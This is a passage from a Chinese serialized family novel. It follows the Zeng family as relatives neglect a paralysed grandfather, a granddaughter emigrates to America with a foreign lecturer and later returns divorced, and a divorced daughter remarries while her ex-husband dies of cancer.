王娟当场“呕”了一声, 但还是坚持要曾向平干完,但曾向平不干了,王娟只能自己去干。 房间里的曾庆良还在呀呀呀说话, 王娟同样不搭理他,最后才来给他喂饭。 “爸, 你少喝水,不然一直要尿。记得要憋着,等我和向平来了再去厕所, 听到没有?”王娟不耐烦地喂了饭,才关门离开。 就这样,曾庆良被大儿子大儿媳伺候了半个月, 足足瘦了七八斤,等曾向民来接人时,有些惊到。 “大哥大嫂, 你们就这样伺候爸的?”曾向民皱紧眉头。 “那不然怎么伺候?爸挑食,事又多,让他憋着尿,有时候故意尿裤子,非要我们折腾。”王娟说起这半个月的事,一肚子怨气,“我就没见过那么坏心眼的老人,都不懂得体谅小辈。算了算了,我不和你说这些,等你自己伺候爸,就知道我说的意思。” 她自己也瘦了好几斤,这种日子不想再体验了,“向民,你和妈说一下,他们好歹是夫妻,哪能撒手不管呢?” 曾向民不乐意听他大嫂说话,“行了,这里没你的事,再不走,我不接爸走了。” 一听这话,王娟跑得飞快,恨不得脚底生风。 曾向民在家里请了保姆,他运输队忙,老婆还要带孩子,要他多尽心伺候,他做不到。但他愿意花钱,只要给了钱,就能请到人来帮忙伺候。 曾庆良在小儿子家的半个月,倒是比之前要好过点,但也只是活着,小儿子很少关心,儿媳妇更是没往他这边来,只有孙女会过来看看,小孩子天真活泼,有时候还会问他怎么不说话。 一个月的时间,曾庆良看清人情冷暖,等被送回家时,看到老伴那叫一个泪眼婆娑,呜呜哽咽地说儿子们不孝。 吃了苦,他才不折腾人,老老实实地配合吃饭睡觉。 等曾舒仪过来看望时,看到她妈妈能坐着看电视,心想老头儿总算学乖了。 “妈,你们没事时,你就推我爸去公园透透气,你还可以和老头们跳舞。” “说什么呢,我哪里会和老头跳舞?”林家珍被说得不好意思,“现在你爸老实了,让吃饭就吃饭。我给他一个木棍,上厕所就敲一下,保姆就会扶他去厕所。我就每天给他擦擦身子,其余的不用我干,倒是比他好好的时候,干得还要少。” “这是好事,我听人说,有些半边瘫的,日子久了还能自己走两步。还好爸不是全瘫,那才难伺候。”曾舒仪今天提了水果来,去厨房切了一盘。 老伴不需要操心,林家珍开始担忧起小辈们的事,“舒仪,玉玲有给你写信或者打电话吗?” 曾舒仪摇摇头,“我和玉玲不怎么亲近,不过她有给二姐写信,说什么暑假要去打工存钱,寒假又去支教,反正就是不回来。” “这孩子,也不知道怎么了,小时候就更有主意,现在大了更多想法。”林家珍说着直叹气,“小娟在我面前哭了好几次,但我也联系不上玉玲,我能有什么办法呢?” “妈,说句实话,就我大哥大嫂那个样,如果我是玉玲,我也不爱回来。”曾舒仪道。 “那她也该回来看看我,看看你爸啊,她爸妈是不称职一点,但我和你爸对她体贴照顾,怎么样也该给家里回个信吧?”林家珍心里有点失望,特别是对这个大孙女,从去上大学起,只回来过一次。 曾舒仪能理解侄女想要远走高飞的心,同样也懂她妈妈的操心,“哎呀,你别想那么多了,儿孙自有儿孙福,孙子辈的事有我们管,别想了。” “我哪能不多想?”林家珍每天都忍不住多想,“家里就那么点人,我每天都盼着你们能好过一点。对了,我去庙里给你们求了平安符,你拿去给家里人都戴着。如果不愿意戴身上,放车上、枕头底下都可以。” 她起身找了四个平安符出来,“我找大师开过光的,你一定要给陈澈和孩子们。” 从庙里可以烧香后,林家珍就热衷于求神拜佛,祈祷家里人能顺顺利利。 曾舒仪收下平安符,“听说村里有游神,今年咱家出人吗?” 林家珍回头看了眼房间,小声道,“不去了,往年你爸就不去,说什么没有孙子,没面子去。现在他这个样子,你大哥和向民更不会去参加游神,都不去了。你干嘛问这个?” “云凌听同学说起来,他想去凑热闹。”曾舒仪道。 “那你有空,就带孩子们去看看,可以祈福的,是好事。”林家珍也想去拜拜,但不放心家里的曾庆良,想想还是算了。 曾舒仪不信佛,只是想带孩子见世面,参加一些民俗活动也挺好。 等她回家和陈澈说起这个事,陈澈才说他们家宗祠那也有游神。 “要是云凌有兴趣,我和宗祠说一声,让云凌去当个小马夫。不过这个事,既然报名了,就得认真对待,他不能半途而废。”陈澈小时候禁止搞封建迷信,现在他开公司当老板,管理宗祠的人前几年有联系过他,他有捐过一些钱,替家里积福。 曾舒仪把儿子叫了过来,见儿子再三保证,这才让陈澈去打电话。 宗祠游神是大事,每个周末,曾舒仪就开车送儿子去乡下。 陈云凌是乐此不疲,只要不读书,就是好玩的。 到了游神那天,鞭炮锣鼓声响个不停,曾舒仪特意带了相机去拍照,当做是纪念。 不过游神这个事,在陈云凌再大一点后就没兴趣了,家里买了电脑,他有了新的娱乐,每天都想着玩电脑。 到了1997年六月中旬,曾玉玲总算是回家了,不过她还带了一个男人,金发碧眼,他刚出现在曾玉玲家里,主动介绍是曾玉玲男朋友,王娟两眼一黑,摔坐在沙发上。 曾向平更是看着面前的两个人说不出话来,还是曾玉玲主动道,“爸妈,这是我大学的外教,我们已经在一起半年了,我要和他结婚。” “什么?”王娟瞪大眼睛,“曾玉玲,你谈恋爱可以,但你怎么可以找个老外,而且他这个样子,三十好几了吧?” “妈,你有没有礼貌,亨利才三十,没大我几岁。”曾玉玲一直挽着亨利的手,“还有,我不是来个你们商量的,我已经怀孕了,你们不同意也没用。” 这话一出,王娟真的晕死过去,曾向平砸了茶壶要打人,曾玉玲却拉着亨利离开。 等林家珍他们到医院时,还没进病房,就听到王娟在哭。 “老天爷啊,我的命怎么那么苦,男人靠不住,生个女儿还和仇家一样。”王娟看到婆婆和曾舒月进来,哭得更伤心了,“妈,我没脸活了,你们是不知道啊,玉玲那个不要脸的死丫头,竟然……” 曾舒月捂住大嫂的嘴,“你再嚷嚷,医院里这些人都要知道你家的事了。” 她再去看大哥,“玉玲和她对象呢?” “说是去住酒店了,让我们什么时候想好,再去找她。你们说,这叫什么事?”曾向平同样觉得丢人,女儿不仅找了个洋鬼子,还未婚先孕,这要是说出去,不得被街坊邻居笑死? 曾舒月听得眉头紧皱,在她印象里,侄女还是挺乖巧的,怎么上了个大学变成这样? 她左右看了看,“大嫂出院手续办好没,办好就出院吧。我和胜男去找玉玲聊聊,看看怎么回事。” “舒月啊,你一定要骂醒那个死丫头,她要是嫁去美国,那是要过苦日子的!”王娟恨不得自己去找女儿,但她也知道,现在和女儿见面,只会吵得更凶。 林家珍也要一起去,“我都好些日子没看到玉玲了,我和你们一块去。” 曾舒月本想说不用,但看到她妈妈焦虑的神情,还是同意了。 到了酒店大堂,等曾玉玲下来的时候,林家珍忍不住擦眼泪。 曾舒月拿着纸巾坐过去,“妈,你别哭了。玉玲已经是大人了,她这事是挺难让人接受,但事已至此,我们哭有什么用?得先看看,那个叫亨利的是什么样的人?” “我怎么能不难受,玉玲是我看着长大的孩子,小时候也还算懂事,怎么到大了,反而还……还弄出这档子事?”要是没有孩子还好说,可以劝孙女分手,可是孙女怀孕了,这怎么棒打鸳鸯? 林家珍怎么想都接受不了,未婚先孕这个事,不管怎么说都不好听。以后亲戚问起来,她都不好意思见人。 曾舒月同样觉得侄女不懂事,但事情已经发生,只能先听听侄女怎么说。 过了会,听到侄女喊“二姑”,曾舒月回头只看到一个人,“你对象呢,怎么不带他下来?” “二姑,你们肯定是来兴师问罪的,他一个外国人,说话都不利索,有什么问题先问我,等你们问完了,我再带他见你们。”曾玉玲很淡然地挨着表妹坐下,还能笑着祝福表妹,“胜男,听说你保研成功了。真不错,二姑肯定高兴坏了。” 何胜男看着表姐,犹豫再三,小声道,“表姐,你是为了出国,才和亨利在一起吗?” 第62章 “怎么可能呢?我和亨利是真爱, 只是为了出国,我和他结婚就可以,干嘛要怀孕?”曾玉玲摸摸表妹的脸, “胜男呐,你也到年纪了,在学校有谈恋爱吗?” 听到这个问题,曾舒月也看向女儿,见女儿摇头, 松了口气的同时, 又有点失望。 “可以谈了,咱们都是二十几岁的人了,再不谈恋爱,青春的尾巴都抓不住。”说着, 曾舒月再去看二姑她们,“二姑,外婆, 亨利真对我挺好的。你们不能对外国人有偏见,美国经济比咱们国内发达多了, 洗碗工都比我们的公务员工资高。到了美国,我都不用工作,亨利家里是有农场的。” 曾舒月, “你怎么知道他有农场?” “亨利和我说的呀。” “万一他骗你呢,山高路远。你又不知道真实情况,这要是被人骗了, 你都回不来。”曾舒月听人说,飞美国得十几个小时飞机,那么远的路, 不敢想会是什么情况。 林家珍同样不放心,“是啊玉玲,咱们退一万步说,就算你们要结婚,你们也可以定居国内。你不是说亨利是你大学老师,那待遇肯定好,留在国内也能过好日子,不好吗?” “外婆,你根本不懂国外的好,在国外看病上学都不要钱,就算没文化也能挣很多钱。你放心,我会回来看你们的,到时候你们就知道,我过得有多好了。”曾玉玲铁了心要出国,她自己申请留学失败,现在有这个机会,绝对不能放弃。 曾舒月和林家珍轮番上阵,说得嘴巴干了,都没说动曾玉玲。 最后他们先走了,曾玉玲留了何胜男。 “你等等,我给你们带了礼物。”曾玉玲回去拿了几盒巧克力和人参,“都是我和亨利买的,你拿回去和二姑他们分一分。” “表姐,你真要去那么远啊?”她们同吃同住一年多,多少还是有点感情,何胜男不太舍得表姐。 “是啊,亨利任期结束,他要回国了,我只能跟他回去。胜男,我知道你骨子里很要强,你一定要努力过上你最喜欢的人生,然后祝福我吧,不用舍不得我,我是去过好日子的。”曾玉玲抱住了表妹,“照顾好二姑和外婆他们,咱们有缘再见。” 由于王娟两口子的态度没有转圜的余地,曾玉玲很快就和亨利走了。 过了一周,曾舒月收到她的信,说信到的时候,曾玉玲已经飞美国了,让他们不要替她操心,等她安顿下来再和他们联系。 曾舒月把信拿给大哥大嫂看时,她大哥破口大骂十几分钟,什么脏话都骂了一遍。 曾舒仪看了外甥女一眼,给她拿了钱,“胜男,你带弟弟妹妹们去吃肯德基,再去游乐场玩一玩,迟点再回来。” 孩子们还小,要是一直听大哥骂人,对他们成长不好。 把几个孩子打发走后,曾舒仪再去看大哥大嫂,“你们别吵了,玉玲已经到了美国,你们还是想想办法,和她缓和关系吧。” “怎么缓和?”曾向平扯着嗓子,“她宁愿写信给舒月,都不给我们两口子一封信,她眼里都没有我们这个爸妈,难不成她干了这种不要脸的事,还要我们去求她搭理我们?” 曾向平这段日子因为这个事,都没去麻将馆了,就怕别人问他女儿是不是带了个洋鬼子回来。 王娟黑眼圈更重,自己看重的女儿,却把他们当成累赘,“白眼狼啊,我养了个白眼狼,我的命真苦,怎么就养了个白眼狼?” “哼,你还好意思说,要不是你天天不管女儿,让女儿和别人亲近,怎么会这样?”曾向平开始指责王娟。 王娟当即跳起来,“曾向平,你怎么好意思说这个话?那时候你去坐牢,我没有工作,我求爷爷告奶奶都没人帮帮我,你让我怎么办?” “还有,这些年你干过正经事吗?好不容易考上大学,结果和狐狸精乱搞被抓,大学没毕业就算了,后来日子好了点,你又不老实。我这辈子嫁给你,真是倒了八辈子血霉!” “谁倒霉?我才是倒霉,有你这种老婆,我才是倒大霉!”曾向平开始和王娟互相指责。 曾舒仪听得想翻白眼,和二姐对视一眼,两人默契地没有开口劝。 只有林家珍会劝他们别吵了,但是没有用,曾向平和王娟都在气头上,谁来劝都没用。 直到曾向平脱口而出,“过不下去就别过了,我看你早就不想和我过了!” 王娟这才愣住,随后一边喊着,一边冲向曾向平,“你竟然要和我离婚,我都没嫌弃你,你竟然说不过了?” 她扑向曾向平,把曾向平撞倒在地上,两个人扭在地上打了起来。 这时候,曾舒月才让弟弟去拉架,等把两个人拉开,王娟坐在地上嚎啕大哭,“我不活了,我还有什么意思,女儿不要我,曾向平也不要我,呜呜……我从你你们家跳下去算了!” 曾舒仪忍不住开口,“大嫂,哭两句得了,别在这里嚎得我耳朵疼。我大哥要离,你就离,没了你,我看他怎么挣钱。他现在去收破烂,都骑不动三轮车,更别说干别的。大哥,我也劝你改一改脾气吧,玉玲为什么和你们疏远?还不是因为你们不干正经事,又不关心玉玲。” “曾舒仪,我是你大哥,还轮不到你来指责我!” “那你倒是干点人事,别让我说道啊!”曾舒仪哼道,“别只想着是其他人的错,我大嫂有句话说得对,这些年,你干过什么好事了?我要是玉玲,我也跑,谁摊上你们这种爸妈都倒霉。” 说着,她提着包准备离开,“妈,我先回去了。玉玲都这么说了,咱们又不知道她在美国哪里,不可能飞去找她。她是个成年人了,要为自己的决定负责。” 二十几岁的人了,又不是十岁小孩,曾舒仪也有担心过两天,转念想到她想再多都没用,对实际上的结果起不到任何效果。 等曾舒仪走后,曾向民也走了,留下曾舒月帮忙收拾家里。 曾向平和王娟互相看一眼,两个人默契地不再说离婚的话,王娟继续和婆婆哭诉白养了一个女儿,她以后怎么办才好。 曾向平则是去厨房翻翻找找,“妈,我饿了,你给我做饭吃吧。” 林家珍看了眼手表,“都留下来吃饭吧,舒月你一个人回去做饭麻烦,我有你爱吃的鱼丸,一块儿吃吧?” 曾舒月看到大哥大嫂也噪音,打扫完卫生就去店里,今天是周末,店里没啥客人,她随便煮了点面条,正准备吃的时候,看到一个高大影子,以为是客人来了,赶忙转身,“你好,要买……咦,周大哥,你怎么来了!” 周盛看到曾舒月,想到要说的话,有点难为情,“我……我妈病了,她想问问你,如果你有空的话,能不能……陪她说说话?” 老太太上了年纪,身体本就不如从前,加上这段时间天气热,一个没注意,中暑住院了。在医院里,周盛又不会说话,老太太问三句话,周盛才能搭一句,实在是无聊,才让周盛过来找人。 “阿姨怎么病了?我有空的,我这就陪你去看看阿姨。”曾舒月这几年和李阿姨走得更近一点,李阿姨有什么好东西也会想着她,现在听说李阿姨病了,赶忙让周盛带路。 周盛开车来的,他带着曾舒月到军区附属医院,刚进病房,看到老太太在和护士聊天,轻轻咳了咳。 “舒月啊,你可算是来了,我在医院里太无聊了,才厚着脸皮让周盛把你喊过来。”李丹丹看到曾舒月来了,语气都不一样了,“其实我没啥大事,周盛非要我再住院观察两天,你说说,在这里啥也不能干,人都要憋坏了。” “李阿姨,还是听周大哥的,您身体好全了再出院,我们才放心。”曾舒仪细心询问李阿姨想吃什么,要不要喝水,看得李丹丹颇多感慨。 “当初知道你离婚,我就想撮合你和周盛,但你们不来电,我也没办法。现在看你这样体贴,我是真遗憾啊,你看我家两个孩子都不在身边,家里就周盛和我一个老太太,你家里也就你一个人,要是身边有个伴多好。”李丹丹现在才不管尴尬不尴尬,她想说什么就说什么。 平常儿子去上班,她一个人在家,电视不爱看,收音机不爱听,有时候坐在家门口,一待就是小半天。 曾舒月是刷地红了脸,她之前知道李阿姨有这个想法,但没当着他们两个的面说。 现在突然听到,她脚趾扣地,都不敢回头去看周盛什么表情。 周盛同样僵住身体,微微皱眉喊了一句“妈”。 “你喊妈干什么,我现在又不撮合你们了,我只是忽然想到这个事,才说两句。行了,舒月来了,你该干嘛干嘛去,别在这里杵着和木头桩子一样。”李丹丹和儿子摆摆手,笑盈盈地去看曾舒月,“舒月啊,胜男是不是毕业了,分配了什么单位?” “她没上班,保研了,打算继续读书。” “保研啊,那她真会读书。我虽然不懂什么是研究生,但胜男能去读的,一定很厉害。我家小康也在北京读研究生,等他放假回来,咱们两家聚一聚,你做不了我儿媳妇,我就把你当女儿看,咱们多来往才好。”李丹丹在医院住了几天,憋了一肚子话,从家属院里谁儿子结婚,到谁又升官,把曾舒月认识的那些人家里的事,都说了一个遍,天就黑了。 曾舒月去食堂打了饭,和李阿姨一块吃完,她就该回去了。 “明天不用来医院了,我明天肯定要出院。等我好了,去你文具店找你玩,我现在干不了什么,但帮你招呼几个小学生还是可以的。”李丹丹不想天天待在家里,琢磨着给自己找点事情做。 “等天气凉快点,大夏天的,马上也放暑假了,学校没人,我也不常开店。”曾舒月又和李阿姨说了会话,等她出去时,正好碰到下班来的周盛。 两个人面对面迎上,都有些不知所措。 曾舒月:“那个……我……” “你等等,我送你回家吧,今天真是不好意思,我妈年纪大了就有点任性,非要和你聊天。”周盛让曾舒月等他,进去和他妈妈打了个招呼,就急匆匆出来,“走吧,我妈也让我送你回去,不然天黑了不安全。” 第63章 周盛开着车, 街上的路灯隔一段路就坏了几个,他开得就慢一点,“听我妈说, 胜男读研了,她以后会打算回榕城工作吗?” “她有说,想回来当个大学老师。”曾舒月有和女儿聊过这个,“所以研究生毕业后,还会再去读博士。” 这都是女儿和她说的想法, 她自己没读过那么多书, 也不懂大学、研究生的区别,但女儿想读,她就支持女儿。 “读研得三年,博士的话, 最好是出国留学,这样回国才能进好大学当老师。”周盛的儿子也在读研究生,所以有些了解。 听到国外两个字, 曾舒月有点紧张,“怎么要去国外?国外真那么好吗?我侄女也去了国外, 非要说国外当个洗碗工都更好。” “那也不一定,得看去什么国家,去干什么。”周盛耐心地给曾舒月解释, 等车停在小区门口,他喉结动了动,“胜男去读大学后, 你就自己一个人住吗?” 曾舒月说是,“好在我家里人多,时不时去帮帮他们, 日子能快点。今天谢谢你送我回来,路上慢一点,注意安全。” 她下车后,看车开走了,才进小区。 人到中年,不再有激情澎湃的时候,有时候只是简简单单地坐下聊天,心里就会冒出“适合”两个字。 往后几个月里,曾舒月去看望李阿姨时,总能碰到周盛。 元旦过后,学校开始陆陆续续放寒假,这天曾舒月开车去接火车站接女儿。 何胜男看到是妈妈开车,特别惊讶,“妈,你什么时候学会开车了?” “你三姨看我在家没事,就让我去学开车,正好她这辆车要换,就给我开了。”曾舒月一开始不想学,后来听妹妹说会开车方便,而且她周末都没事,就去学了下。 “那你真厉害,我本来也想学,但是上车后笨手笨脚,就放弃了。”何胜男主动说起在学校的一些事,又问家里的情况。 “都还好,你外公现在不折腾了,所以外婆轻松很多。你三姨和小舅都在忙生意,有时候我会去帮他们看看孩子,胜男,你们读研能谈恋爱吗?”曾舒月突然问了句。 何胜男愣了下,随后看出妈妈的想法,她说可以谈,“但我不打算现在谈,我还要读博士,导师建议我出国读。到时候异地分开,很难维持感情。而且我是要回榕城工作的,但同学都是来自全国各地,我没那么大本事让他跟我回来。” 学校里也有追求何胜男的人,但她从上大学起,就足够清醒。恋爱对她来说不是必需品,有些男生她也心动过,可是考量了自己以后的人生方向,她并不想在这个时候多一个拖累她进步的事。 何胜男从小早熟,身边男性亲戚让她增长很多见识,她从不相信两个人的爱情能够维持很久,更多的是靠品行和环境。 “可是胜男,等你研究生毕业还要读博士,到时候好男人都被挑了……” “妈,我也不是一定要结婚的,你别提我操心这个啦。倒是你,可以给自己找个老伴。”思考了几年,何胜男总算说出这句话,“你看我不在你身边,三姨他们又忙,你每天回家就一个人,日子多空虚啊。妈,我支持你找老伴的,你不用考虑我的感受,只要你开心,我也开心。” 只要你开心,我也开心。很耳熟的一句话,以前曾舒月也和女儿说过。 曾舒月握方向盘的手微微攥紧,她不懂怎么接这个话,母女俩一路沉默到家。 “外婆知道你回来,特意买了海鲜,你把东西放下,我们去外婆家吃饭。”曾舒月帮女儿把行李推进房间里,“还有你李奶奶,她说等你回来了,让我带你过去吃饭。” “李奶奶身体好吗?” “还可以,她爱出门遛弯,身子骨还不错。”曾舒月帮忙收拾一下,带着女儿回了娘家。 何胜男是最后一个放暑假的,其他的弟弟妹妹和她岁数差得多,最大的曾鹏也就十四岁,小孩玩的她没兴趣,长辈们聊的更插不上嘴。 她只好到阳台看风景,过了会,三姨的小女儿过来拉她裤腿,“姐姐抱。” 五岁的小姑娘天真可爱,何胜男把表妹抱起来,没过多久,三姨就过来了。 曾舒仪看出外甥女累了,接过女儿,“胜男,最近玉玲有给你写信吗?” 何胜男摇摇头,“一次都没有了。” “哎,她这丫头,真是让人操心。”曾舒仪说着叹气,“听你妈说,你打算出国读博士?” 何胜男说是,“三姨,你也知道我妈妈这些年带我很不容易,所以我想回榕城工作。但我又不适合做生意,榕城经济也不如北上广,最适合我的工作就是进大学当老师。当老师是有很高要求的,我想努力个几年,以后都陪着我妈妈。” “那挺好的,不过你不能像玉玲一样,好歹每个月写信回来,不然你妈妈肯定会吃不好睡不好。”曾舒仪对外甥女还是挺放心。 何胜男点了点头,她都知道的。 转眼间,过完年,何胜男又要回学校了,临行前,她留下一封信给她妈妈。 情感上的话,她说不出口,只能通过信来表达。 过年期间,家里电话时常有人打来,加上妈妈刻意压低的声音,何胜男都能看出不对劲。 后来知道是周叔叔打来的电话,何胜男反而如释重负,原来是她认识的、靠谱的男人。 而曾舒月看完女儿信上的内容,暖心,又想哭。 有了女儿的同意,她和周盛正式确定关系,五一的时候领了证,两家坐在一块吃了饭,曾舒月就搬到家属大院去住了。 又过了两个月,何胜男放暑假回来,本来她只打算待半个月,但是接到电话,她爸爸病重了。 “我陪你回去一趟,他是你爸,临终前去看一眼也是应该的。”曾舒月刚挂了电话,心里也有点难受,“你说他才四十几岁的人,怎么就不行了?” 电话里说是癌症,说何东想看看何胜男长什么样了,看一眼就行。人都要死了,曾舒月说不出拒绝的话。 何胜男紧绷着身子说不出话来,这些年,她爸爸会给他寄东西,每次也会顺带问候下她的身体,成绩怎么样。 她写的回信也很简单,从爸妈离婚后,她与爸爸的亲疏关系已经定下,但血缘关系又是斩不断的。 出发前,曾舒月要和周盛说一声,周盛听了,提议开车送她们回去。 “正好我今年还没休假,你不是说过,你那个前公婆对你并不好。有我在,他们要是说什么,做什么,我可以帮你挡着。”周盛道。 曾舒月问过女儿的意见后,就带着周盛一起回去了。 何东在当地县城的医院,曾舒月母女还没到病房门口,就看到了何大狗。 多年没见,他老了许多,头发白了一半。在看到曾舒月身边有男人时,眉头皱得更紧了。 “来了啊。”何大狗上下打量了下曾舒月和周盛,再去看多年没见的孙女,“胜男啊,你都长那么大了,你怎么都不来看看你爸,看看我们呢?” 何胜男刚张口,曾舒月抢先道,“何东在里面吧?我们先去看看何东。” 她拉着女儿走进病房,扑面而来是消毒水的味道,等看到病床上瘦骨嶙峋的何东,曾舒月第一眼都没认出来。 何胜男走到床边,刚喊一句“爸”,看到病床上的人睁开眼,身子不受控制地发颤。 “是……是胜男啊,长成大姑娘了。”何东的眼角滑下泪水,“爸爸对不住你,没能陪你长大。你能来看看爸爸,爸爸满足了,你现在谈对象没?” 何胜男摇摇头。 曾舒月看了何东,主动退出病房,她和周盛站在病房外。 过了会,曾舒月主动挽住周盛胳膊,“人生真的是太多意想不到的事发生,我虽然不想再见到何东,但也没想到再见面是这种时刻。” “人生无常,及时行乐。”周盛也道。 曾舒月点点头,等女儿出来时,她好像看到吴小草从走廊尽头经过,但是没看清楚,因为变化太大,看起来比她还要老。 等她想看清楚点时,对方已经走了。 过了会,看到女儿出来,曾舒月问,“怎么样,你要不要在这里住几天?” 何胜男摇了摇头,她心情特别复杂,她有恨过爸爸,也有过不理解,等真看到她爸病成这个样子,又有些酸楚。 就在这时,两个护士突然跑进病房,没过多久,曾舒月就听到何东死亡的消息,他们只好留下来,等何东下葬。 一直到葬礼结束,曾舒月三人准备离开时,何大狗找到曾舒月的酒店。 “不管怎么说,胜男是我何家的孙女,就算何东不在了,我和何东他妈也在,你应该让胜男回来看看我们。”何大狗觉得这些年,一定是曾舒月拦着不让孙女回来。现在孙女有出息,是他所有孙辈里唯一的大学生,他理所应当地想让孙女孝敬自己。 曾舒月一眼看穿何大狗的心思,直接拒绝了,“胜男刚出生时,你们就嫌弃她是个女儿。现在胜男大了,你们想让她孝敬你们,我真没这个圣母心。既然何东死了,以后我们和你们更没有关系了。人在做,天在看,既然你们觉得孙子好,就等着享孙子的福吧。” 说完她拉住女儿的手,“我们走,以后你不用再来这个地方了。” 她的女儿有她护着,想飞多高就飞多高。 第64章 何东的死, 对于曾家人没有影响,大家的日子还是继续过。 往后两年,曾家人坐在一块, 一开始聊得最多的是曾玉玲,后来成了何胜男去剑桥读博士,再到曾鹏考大学,接着是陈云凌读大学。 家里的孩子们一个接一个长大,陈云凌去读大学这年, 已经是2004年, 曾舒仪两夫妻一起送他去的北京。 等曾舒仪回家时,才知道曾玉玲回来了,当即打电话给二姐八卦,“玉玲怎么样, 几个人回来的?” “两个人,还带了个小男孩。”曾舒月在电话里道。 “她和亨利生二胎了?” “不是,她说和亨利离婚了, 那个孩子也没保住,这是她第二个老公的孩子, 但和第二个老公也离婚了。你说说,我就不懂她了,怎么可以找了一个又一个?”曾舒月特别不理解侄女, 特别是侄女把离婚后分了多少家产当炫耀说,“等你见到玉玲,你就知道她变化有多大。” 曾舒仪还真想不到玉玲能有什么变化, 她出门几天,女儿看到她都不亲近了。 陈乐乐还在为爸爸妈妈没带她去北京生气,“爸爸都说可以请假, 妈妈太坏了,都不让我去送哥哥。” “一请就要请一周,你都多大的人了。而且不是和你说了,等国庆节就带你去北京,到时候我们坐飞机去。”曾舒仪不是陈澈,不会一味地由着孩子,“你爸说话不管用,再撇嘴,国庆也别去了。” “妈妈,你好狠的心哦。”陈乐乐转换策略,搂住她妈妈胳膊,哼哼唧唧撒娇,“哎呀,我就是有那么一点点失落么,我就一个哥哥,他去上大学,我肯定想去送他。你别和我计较,我可是你唯一又可爱的女儿。妈妈,你看看我,你还爱我不?” 面对凑到面前的女儿,曾舒仪忍不住勾唇,“好好好,知道了。国庆会带你去的,你别闹腾了。” 她捏捏女儿的脸,问了一些家里的事,叫了按摩师上楼给她按摩。 曾舒仪又换了一栋别墅,现在家里有健身房、家庭影院,还有专门桑拿洗浴的地方,理疗师也是有专门的人负责。 家里的事都不用曾舒仪操心,她只需要负责挣钱和享受生活。 过了两天,曾舒仪带着女儿回娘家,见到了一头大波浪的曾玉玲,还有一个金发碧眼的小男孩,看着只有三四岁。 “三姑,你可算是回来了,我老想你了。”曾玉玲说着介绍起自己的儿子,“这是我儿子托姆,你看,混血小孩是不是特别可爱?” “是挺好看的,玉玲,你这次回来是探亲,还是不走了?”曾舒仪问。 “我当然要回去,就是想大家,回来看看你们。”曾玉玲又拿起自己的包包,“三姑,你看我这个包,这可是名牌奢侈品。你肯定不认识,光是这一个包,就要一万多,我有好几个,家里衣柜都摆不下。” 曾舒仪看了眼,包包确实是奢侈品,“那你可以换个大点房子,这种包包我也有,不过我这几年都是用爱马仕,不用这么便宜的。” 听出曾玉玲语气里的炫耀,曾舒仪忍不住得瑟一嘴。 曾玉玲这才意识到,她三姑是开公司的人,把包包往身后放去,“还得是三姑你有本事,能挣大钱。对了,这是我从美国带回来的巧克力,这是乐乐吧,你快尝尝,可好吃了。” 陈乐乐看了妈妈一眼,见妈妈点头了,才拿一块吃,“谢谢表姐。” “真乖,你知道我是谁不?我是你大舅舅的女儿,我出国那会你还小,你肯定不记得我了。”曾玉玲说着说着,又开始说美国多好,“乐乐啊,等你以后……不,其实你现在就可以去美国读书,国外教育比国内好多了,你要是想去美国,可以和表姐说,表姐带你去!” 陈乐乐一开始有点兴趣听,但她发现,只要她一有什么疑惑。表姐就会说她想太多,慢慢的就不想听了。 曾舒仪并没有打断曾玉玲的话,女儿也大了,该有自己辨别是非的能力。 她算是懂了,二姐说玉玲变化很大。 到了吃饭时,曾玉玲还是一个劲地说美国多好多好,她现在不用工作,就可以衣食无忧。 直到王娟不太高兴地插一句,“美国要是真那么好,你把我和你爸接过去,我们上年纪了,也该跟着你享福了吧?” 这些年,别人问到她女儿怎么样,她只能敷衍两句,就怕说多了别人笑话。 这个话,让喝汤的曾玉玲呛到,“咳咳……咳咳……妈你说什么,你还年轻,哪里就老了。再说了,你们办不下来签证的,而且你们去了美国也不习惯,到时候天天汉堡薯条,你们巴不得想回来,我是为了你们好。” “你能吃习惯,我们怎么就不能了?”曾向平黑着脸,“我看你就是不想让我们去,你好自己在美国潇洒。” “爸,你能不能讲点道理,我明明是为了你们好,你却这样解读我,太让我失望了。托姆,我们走,既然你外公外婆不欢迎我们,我们也没必要在这里待了!”曾玉玲抱着儿子就走。 王娟刚起身,就被曾向平拽住手,“你让她走,她眼里就没有我们这个爸妈,你追上去有什么用?” “可我们就这么个女儿,你真不搭理她,以后谁给我们养老?”王娟还是想去追,曾向平却不肯撒手。 曾向平:“就算你去热脸贴冷屁股,人家也不会搭理你,你看她从进门起,对我们有过好脸色吗?什么养老不养老,她打心眼里就没我们这个爸妈。向民不是有孩子,都是曾家的孩子,他们还会不管我们?” 被点到的曾向民,也差点呛到,“大哥,你不能这样想,玉玲总归是你孩子。你脾气那么臭,应该改一下了,多顺着玉玲吧。” 他的女儿又没享受过大哥帮忙,凭啥让他女儿给大哥大嫂养老? 曾向民心里一万个不乐意。 林玉娇从结婚后,一直都听曾向民的,现在有曾向民开口,她就不说话了。 曾舒仪和曾舒月则是看戏不说话,不过曾舒月给女儿使了个眼色,示意女儿去找玉玲。 何胜男穿了鞋子下楼,因为托姆实在太显眼,随便问了两个人,就找到表姐母子。 曾玉玲带着儿子在一家肉片店里吃饭,看到何胜男来了,也没意外,只是眼眶微微红了,“胜男,你说是我不孝吗?” “表姐,这个我真评价不了。”何胜男也要了一碗福鼎肉片,“你要说大舅和大舅母从小没管你,那也没有。但是你说他们一直让你开心成长,同样没有。说起来就是,他们养大了你,但是没有给你好的原生家庭和关爱。表姐,这种事别人怎么说,都是站在旁观者角度,只有你自己才是当事人,我看得再明明白白,也做不到感同身受。” 比起表姐生活的丰富多彩,何胜男的人生就很按部就班,从剑桥毕业后,顺利回来当了个大学老师。又在主任介绍下,和其他学院男老师相亲成功,两个人都是有点内敛的,没有很浪漫的时刻,偶尔也会有点不愉快,但他们说好了,有不开心就要说。她自认为自己的感情普普通通,眼下订婚了,就等结婚,并没有大起大落。 “胜男,其实我好羡慕你。”曾玉玲也知道自己对爸妈不管不顾有些不孝,她也是纠结很久,才打算回来探亲,但她一见到爸妈,心口就发堵,更别说在一块生活,“二姑对你很好,你爸爸虽然那啥了,但他也是一直爱你的。比起物质上的丰富,我更想要情感上的关心。” 她叹了口气,“其实我在奶奶家,全都是装出来的,这话我只和你一个人说,你不要和别人说。” “好。” “我一开始确实是想利用亨利出国,但他对我不太信任,我只能用怀孕让他相信我真的爱他。后来日子久了,我想着和他过一辈子也行吧。但到了美国,亨利才暴露本性,他不许我和任何男人说话,有个不顺心就动手,那个孩子也是被他家暴打没了。” 